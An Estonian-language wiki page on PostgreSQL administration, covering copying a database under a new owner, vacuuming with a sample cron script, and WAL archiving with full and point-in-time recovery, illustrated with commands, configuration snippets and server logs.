* on tekitatud juurde teine create database andmebaas; kõik objektid on seal teise kasutaja omanduses&lt;br /&gt;
* teise andmebaasi sisuks on esimese andmebaasi sisu&lt;br /&gt;
* mõlemad create database andmebaasid on tavalised, üksteisest sõltumatud andmebaasid&lt;br /&gt;
&lt;br /&gt;
Nt leiab selline ülesanne kasutust töötavast lahendusest teha koopia kõrvale mingite testimiste jaoks.&lt;br /&gt;
&lt;br /&gt;
====pg_dump -O ja psql====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. pg_dump kasutamisel sql skript moodustamisel tuleb omanike käsud dump failist välja jätta kohe alguses&lt;br /&gt;
&lt;br /&gt;
 pg_dump -O ...&lt;br /&gt;
&lt;br /&gt;
sisselaadimiseks&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====pg_dump -Fc ja pg_restore====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role kasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine (template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8' on näiteks)&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = kasutajanimi template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
Sisselaadimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi -O -h 127.0.0.1 -U kasutajanimi baasinimi-20180922-94.dump&lt;br /&gt;
Password:&lt;br /&gt;
pg_restore: [archiver (db)] Error while PROCESSING TOC:&lt;br /&gt;
pg_restore: [archiver (db)] Error from TOC entry 8746; 0 0 COMMENT EXTENSION plpgsql&lt;br /&gt;
pg_restore: [archiver (db)] could not execute query: ERROR:  must be owner of extension plpgsql&lt;br /&gt;
    Command was: COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';&lt;br /&gt;
 &lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
WARNING: errors ignored on restore: 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -O kasutada ilma owner käskudeta&lt;br /&gt;
* - tõneäoliselt saab mõned praktiliselt ebaolulised vead/hoiatused&lt;br /&gt;
&lt;br /&gt;
====reassing====&lt;br /&gt;
&lt;br /&gt;
Protseduuri puhul toimub andmete sisselaadimine uude andmebaasi privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role uuskasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = uuskasutajanimi;&lt;br /&gt;
&lt;br /&gt;
andmete sisselaadimine baasi ülikasutajana (postgres)&lt;br /&gt;
&lt;br /&gt;
 postgres$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi baasinimi-20180922-94.dump&lt;br /&gt;
&lt;br /&gt;
Tundun, et see reassing mõjub ühe create database andmebaasi piires; selles, millega on parasjagu ühendus&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; reassign owned by vanakasutajanimi to uuskautajanimi;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vakuumimine===&lt;br /&gt;
&lt;br /&gt;
Töötavat PostgreSQL andmebaasi tuleb regulaarselt vakuumida (ingl. k. vacuum) nt sellistel põhjustel&lt;br /&gt;
&lt;br /&gt;
* päringud muutuvad kiiremaks kuna planner saab kasutada otsuste tegemisel tegelikkusele enam vastavat infot&lt;br /&gt;
* andmebaasi andmekluster võtab failisüsteemis vähem ruumi&lt;br /&gt;
&lt;br /&gt;
Vakuumimiseks on kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* käsitsi vakuumimine - nt crontab abiga käivitatakse vakuumimist sooritav sql lause&lt;br /&gt;
* autovacuum - andmebaas nö sisemiste vahendite abil otsustab kunas ja mida vakuumida&lt;br /&gt;
&lt;br /&gt;
====Käsitsi vakuumimine====&lt;br /&gt;
&lt;br /&gt;
Käsitsi vakuumimine käib põhimõtteliselt öeldes tabeli või baasi kohta (mis tähendab, et tegeldakse baasi kõigi tabelitega)&lt;br /&gt;
&lt;br /&gt;
 $ psql -h localhost portaal -U postgres -c &amp;quot;vacuum verbose analyze&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nt võiks kutsuda crontabist välja sellist skripti kord ööpäevas&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 renice 19 -p $$ 1&amp;gt;/dev/null&lt;br /&gt;
 export PGPASSWORD=parool&lt;br /&gt;
 nyyd=`date +%Y%m%d`&lt;br /&gt;
 export HOSTNAME=10.100.6.88&lt;br /&gt;
 export PGPORT=5432&lt;br /&gt;
 export PGUSER=postgres&lt;br /&gt;
 &lt;br /&gt;
 mkdir /srv/backup/postgresql/vacuum-logs/$nyyd&lt;br /&gt;
 &lt;br /&gt;
 psql_baasid=`/usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT template1 -U $PGUSER -c &amp;quot;\l&amp;quot; \&lt;br /&gt;
 | sed -e '1,3d' | sed -e '$d' | sed -e '$d' | awk {'print $1'}`&lt;br /&gt;
 &lt;br /&gt;
 for i in $psql_baasid&lt;br /&gt;
   do&lt;br /&gt;
     if test &amp;quot;$i&amp;quot; != &amp;quot;template0&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;template1&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;postgres&amp;quot;; then&lt;br /&gt;
       /usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT $i -U $PGUSER -c &amp;quot;vacuum verbose analyze&amp;quot; \&lt;br /&gt;
         1&amp;gt;/data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt 2&amp;gt;&amp;amp;1;&lt;br /&gt;
         echo &amp;quot;exit code: $?&amp;quot; &amp;gt;&amp;gt; /data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt&lt;br /&gt;
     fi&lt;br /&gt;
   done&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb tähele panna, et&lt;br /&gt;
&lt;br /&gt;
* ps auxe esitab vakumeerimise ajal protsesside keskkonnamuutujate väärtused ning kui süsteemis saavad anda käske asjassepuutumatud kasutajad, siis on neil võimalik saada teada see parool&lt;br /&gt;
&lt;br /&gt;
Vakuumimisega seotud ressurssikasutust saab kontrollida /srv/postgresql/postgresql.conf seadistusfaili parameetritega, http://www.postgresql.org/docs/8.3/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-VACUUM-COST&lt;br /&gt;
&lt;br /&gt;
  # - Cost-Based Vacuum Delay -&lt;br /&gt;
  &lt;br /&gt;
  vacuum_cost_delay = 10                  # 0-1000 milliseconds&lt;br /&gt;
  #vacuum_cost_page_hit = 1               # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_miss = 10             # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_dirty = 20            # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_limit = 200                # 1-10000 credits&lt;br /&gt;
&lt;br /&gt;
kus &lt;br /&gt;
&lt;br /&gt;
* vacuum_cost_delay = 10 - vähendab plokkseadme I/O kasutust&lt;br /&gt;
&lt;br /&gt;
Vahel võib vakuumi logist leida huvitavaid teateid, nt selline, siis tuleks postgresql.conf failis max_fsm_pages parameetri väärtust varuga vastavalt suurendada&lt;br /&gt;
&lt;br /&gt;
  NOTICE:  number of page slots needed (1875152) exceeds max_fsm_pages (1400000)&lt;br /&gt;
  HINT:  Consider increasing the configuration parameter &amp;quot;max_fsm_pages&amp;quot; to a value over 1875152.&lt;br /&gt;
&lt;br /&gt;
Kui nö tavaline vacuum ei saavuta soovitud tulemus, sobib proovida vacuum full&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; \c andmebaas&lt;br /&gt;
 sql&amp;gt; vacuum full;&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb arvestada, et&lt;br /&gt;
&lt;br /&gt;
* parem kui vacuum full ajal rakendused baasi ei kasuta&lt;br /&gt;
* vacuum full võtab palju aega ja tekitab tugeva IO koormuse&lt;br /&gt;
* vacuum full kasutab ajutisel sama palju ruumi kui andmebaasi ise (õieti kõige suurem tabel)&lt;br /&gt;
&lt;br /&gt;
====Autovacuum====&lt;br /&gt;
&lt;br /&gt;
Autovacuum võib olla sisselülitatud või väljalülitatud kusjuures autovacuum juhtub igal juhul automaatsel kui mõne tabeli pg_class.relfrozenxid suurus ületab seadistusfailis näidatud väärtused (vaikimisi 200 M).&lt;br /&gt;
&lt;br /&gt;
 autovacuum_freeze_max_age (integer)&lt;br /&gt;
 &lt;br /&gt;
 Specifies the maximum age (in transactions) that a table's pg_class.relfrozenxid field can attain before a VACUUM operation is &lt;br /&gt;
 forced  to prevent transaction ID wraparound within the table. Note that the system will launch autovacuum processes to prevent&lt;br /&gt;
 wraparound even when autovacuum is otherwise disabled. The default is 200 million transactions. This parameter can only be set&lt;br /&gt;
 at server start, but the setting can be reduced for individual tables by entries in pg_autovacuum.&lt;br /&gt;
&lt;br /&gt;
Autovacuum toimimist iseloomustavad tabeli vastavad tulbad&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from pg_stat_user_tables;&lt;br /&gt;
&lt;br /&gt;
===Andmete varundamine ja taaste WAL logide abil===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL abil saab andmeid varundada nn Full, Differential ja Incremental viisil&lt;br /&gt;
&lt;br /&gt;
* full - varundatud andmetest piisab varundamise hetkel töötanud andmebaasi seisu taastamiseks&lt;br /&gt;
* differential - varundatud andmetest ja ning viimasest full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga differential backupi tegemisel varundatakse kõik viimasest fullile järgnenud muudatused&lt;br /&gt;
* incremental - varundatud andmetest, kõigist viimase full backupist alatest tehtud muudest incrementalitest ja full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga incremental backupi teegmisel varundatakse kõik viimati tehtud incrementalile järgnenud muudatused&lt;br /&gt;
&lt;br /&gt;
Et võimalikest crash-situatsioonidest paremini välja tulla, kirjutab PostgreSQL kõik andmebaasi suhtes sooritatud tegevused andmeklustri alamkataloogi pg_xlog spetsiaalses formaadis logifailidesse, nn WAL (ingl. k. write ahead log) logidesse. Töötamise ajal võiks see kataloog välja näha nt selline&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog/ -ls&lt;br /&gt;
  7913473    4 drwx------   3 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/&lt;br /&gt;
  7913480 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:14 /data/postgresql/pg_xlog/000000040000004600000081&lt;br /&gt;
  7913476 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:08 /data/postgresql/pg_xlog/00000004000000460000007E&lt;br /&gt;
  7913478 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:49 /data/postgresql/pg_xlog/00000004000000460000007D&lt;br /&gt;
  7913485 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:23 /data/postgresql/pg_xlog/00000004000000460000007C&lt;br /&gt;
  7913474    4 drwx------   2 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/archive_status&lt;br /&gt;
  7913487    0 -rw-------   1 postgres postgres        0 Apr  5 00:23 /data/postgresql/pg_xlog/archive_status/00000004.history.done&lt;br /&gt;
  7913475    0 -rw-------   1 postgres postgres        0 Apr  5 06:03 /data/postgresql/pg_xlog/archive_status/000000040000004600000066.00557058.backup.done&lt;br /&gt;
  7913477 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:34 /data/postgresql/pg_xlog/00000004000000460000007A&lt;br /&gt;
  7913483    4 -rw-------   1 postgres postgres      243 Apr  5 06:03 /data/postgresql/pg_xlog/000000040000004600000066.00557058.backup&lt;br /&gt;
  7913486    4 -rw-------   1 postgres postgres       74 Apr  5 00:23 /data/postgresql/pg_xlog/00000004.history&lt;br /&gt;
  7913488 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:52 /data/postgresql/pg_xlog/000000040000004600000080&lt;br /&gt;
  7913479 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:30 /data/postgresql/pg_xlog/00000004000000460000007F&lt;br /&gt;
  7913481 16404 -rw-------   1 postgres postgres 16777216 Apr  5 12:57 /data/postgresql/pg_xlog/00000004000000460000007B&lt;br /&gt;
&lt;br /&gt;
Selleks, et vähendada andmekadu, loetakse crash-situatsioonist väljudes viimasele checkpoint'ile otsa andmed WAL logist.&lt;br /&gt;
&lt;br /&gt;
Kuigi tavaliselt pg_xlog kataloogis olevaid faile roteeritakse vastavalt checkpointide juhtumisele, siis on võimalik ka enne roteerimist vanemad WAL logid kopeerida eraldi kataloogi selleks, et neid vajadusel kasutada mõnele mineviku ajahetkele vastava andmebaasi seisu taastamiseks. Seda tegevust nimetatakse WAL logide arhiveerimiseks.&lt;br /&gt;
&lt;br /&gt;
Et WAL logide abil saaks andmebaasi taastada tuleb teha sellised ettevalmistused&lt;br /&gt;
&lt;br /&gt;
* käivitada andmebaas WAL logisid arhiveerivas režiimis&lt;br /&gt;
* kopeerida arhiveeritud WAL logid varundusse (st kuhugi teise andmete varundamisega tegelevasse arvutisse)&lt;br /&gt;
* salvestada andmebaasi nn täiskoopia varundusse&lt;br /&gt;
&lt;br /&gt;
WAL logide abil andmebaasi taastamine toimub sellise järgnevusena&lt;br /&gt;
&lt;br /&gt;
* andmebaasi protsesside töö on lõpetatud&lt;br /&gt;
* varundusest kopeeritakse andmeklustri kataloogi varem salvestatud nn täiskoopia&lt;br /&gt;
* andmebaasile tehakse kättesaadavaks arhiveeritud WAL logid, nt ühendades andmebaasi arvutile külge üle NFS'i&lt;br /&gt;
* andmebaasi käivitatakse WAL logisid peale lugevas režiimis&lt;br /&gt;
&lt;br /&gt;
Lisaks taastamisele sobib see tehnika nt töötava andmebaasi kõrvale teise arvutisse andmebaasi mingi seisu moodustamiseks. Tundub, et wal logide järgnevuse kasutamist ei sega, kui selle logi tekkimise ajal on andmebaas crashinud.&lt;br /&gt;
&lt;br /&gt;
====WAL logide arhiveerimine====&lt;br /&gt;
&lt;br /&gt;
WAL logide arhiveerimise sisselülitamiseks tuleb tuleb näidata seadistusfailis ära kahe parameetri väärtused nt selliselt ning muudatuse kehtestamiseks andmebaas seisata ja käivitada&lt;br /&gt;
&lt;br /&gt;
  archive_mode = on               # allows archiving to be done&lt;br /&gt;
  archive_command = 'test ! -f /data/backup/postgresql/archive-logs/%f &amp;amp;&amp;amp; cp %p /data/backup/postgresql/archive-logs/%f'&lt;br /&gt;
  # archive_timeout = 60&lt;br /&gt;
&lt;br /&gt;
* arhive_mode - lülitab sisse andmebaasi tavalise töö taustal wal logide kirjutamise&lt;br /&gt;
* archive_command - näitab kuhu wal logid kopeerida&lt;br /&gt;
* archive_timeout - näitab millise ajalise intervalliga järmine WAL logi fail tekitatakse; kui parameetrit ei kasutata, siis moodustatakse järgmine andmete kogunemise mahu alusel&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /data/backup/postgresql/archive-logs kataloogi sellised failid&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 07:23 000000040000004600000067&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:12 000000040000004600000068&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:53 000000040000004600000069&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:23 00000004000000460000006A&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:53 00000004000000460000006B&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:20 00000004000000460000006C&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:40 00000004000000460000006D&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
====Andmeklastri failisüsteemi täiskoopia salvestamine====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi töö käigus andmeklastri failisüsteemist koopiat tehes tuleb see failisüsteem viia nö kooskõlalisse olekusse. Selleks sobib kasutada sellist järgnevust&lt;br /&gt;
 &lt;br /&gt;
* peatame andmeklustrisse muudatuste kirjutamise&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_start_backup('backup');&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmeklastri sisu varundusarvutisse, nt rsync abil&lt;br /&gt;
* jätkame andmeklastrisse muudatuste kirjutamist&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_stop_backup();&amp;quot;&lt;br /&gt;
&lt;br /&gt;
See ei ole eriti oluline kui kaua süsteem on peatatud muudatuste kirjutamise olekus, praktiliselt ei ole hullu kui ta on seal ka mitu tundi. Alternatiiv on &lt;br /&gt;
&lt;br /&gt;
* öelda pg_start_backup&lt;br /&gt;
* moodustada andmeklastrist LVM snapshot&lt;br /&gt;
* öelda pg_stop_backup&lt;br /&gt;
* ühendada snapshot külge ja kopeerida andmed varundusarvutisse&lt;br /&gt;
* ühendada snapshot lahti ja kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni võimalikult kaugele====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada võimalikult kaugele, st võimalikult väikese andmekaoga.&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis nelja asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
* veel arhiveerimata WAL logid kataloogist pg_xlog (kui need on olemas ja võimalusel kopeerida suletud andmebaasi tingimustes)&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta, uuemal ajal võib ka selle kustutada, moodustatakse automaatselt tagasi, v 8.4 ja 9.0 puhul)&lt;br /&gt;
&lt;br /&gt;
  $ find /srv/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Kui on võimaik, kopeerida viimati töötanud andmebaasi failisüsteemist /srv/postgresql/pg_xlog kataloogist failid taastatava arvuti vastavasse kataloogi&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Ajutiselt baasi seadistusfailist WAL logide arhiveerimist välja lülitada ei ole vaja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Käivitamisel tekivad sellised sissekanded andmebaasi logisse&lt;br /&gt;
&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  1 2009-04-04 23:53:33 EEST 0 LOG:  database system was interrupted; last known up at 2009-04-04 22:13:52 EEST&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  2 2009-04-04 23:53:33 EEST 0 LOG:  starting archive recovery&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  3 2009-04-04 23:53:33 EEST 0 LOG:  restore_command = 'cp /data/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  4 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;000000010000004600000059&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  5 2009-04-04 23:53:33 EEST 0 LOG:  automatic recovery in progress&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  6 2009-04-04 23:53:33 EEST 0 LOG:  redo starts at 46/59DB60E0&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  7 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005A&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  8 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005B&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  9 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005C&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:36 EEST    7318  49d7c8cd.1c96  10 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005D&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  11 2009-04-04 23:53:33 EEST 0 LOG:  record with zero length at 46/5E2CC3A0&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  12 2009-04-04 23:53:33 EEST 0 LOG:  redo done at 46/5E2CC358&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  13 2009-04-04 23:53:33 EEST 0 LOG:  last completed transaction was at log time 2009-04-04 23:47:30.504329+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  14 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000002.history&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000003.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  15 2009-04-04 23:53:33 EEST 0 LOG:  selected new timeline ID: 3&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:38 EEST    7318  49d7c8cd.1c96  16 2009-04-04 23:53:33 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-04 23:53:52 EEST    7316  49d7c8cd.1c94  2 2009-04-04 23:53:33 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Korrektsel juhutumil hakatakse kasutama logisid alates sellest failis mis on backup_label failis kirjas stop wal location juures.&lt;br /&gt;
&lt;br /&gt;
Ehk on ka logide sisselugemisel huvitav jälgida millised postgres kasutaja protsessid samal aja töötavad&lt;br /&gt;
&lt;br /&gt;
  $ ps aux | grep postgres&lt;br /&gt;
  ...&lt;br /&gt;
  postgres  2080 13.0 12.7 1125532 1073016 ?     Ss   21:48   1:30 postgres: startup process   waiting for 00000001000000460000005B&lt;br /&gt;
  postgres  2468  9.0  0.0   9420   732 ?        D    22:00   0:00 cp /mnt/archive-logs/00000001000000460000005B pg_xlog/RECOVERYXLOG&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kui protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni ettenähtud ajahetkeni====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada ettenähtud ajahetkeni (ingl. k. PITR - Point in Time Recovery).&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis kolme asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta)&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad (http://www.postgresql.org/docs/8.3/static/datetime-keywords.html)&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  recovery_target_time = '2009-04-20 22:39:00 EETDST'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Lülitada ajutiselt baasi seadistusfailis WAL logide arhiveerimine välja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kuna protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel tekib selline log, muuhulgas öeldakse kuhu maani taastati&lt;br /&gt;
&lt;br /&gt;
  2009-04-24 22:15:14 EEST    2655  49f20e37.a5f  150 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004C&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:15 EEST    2655  49f20e37.a5f  151 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004D&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  152 2009-04-24 22:08:39 EEST 0 LOG:  recovery stopping before commit of transaction 95521631, time 2009-04-20 22:39:00.001938+03&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  153 2009-04-24 22:08:39 EEST 0 LOG:  redo done at 4C/4D8E6BD0&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  154 2009-04-24 22:08:39 EEST 0 LOG:  last completed transaction was at log time 2009-04-20 22:38:59.779467+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000005.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
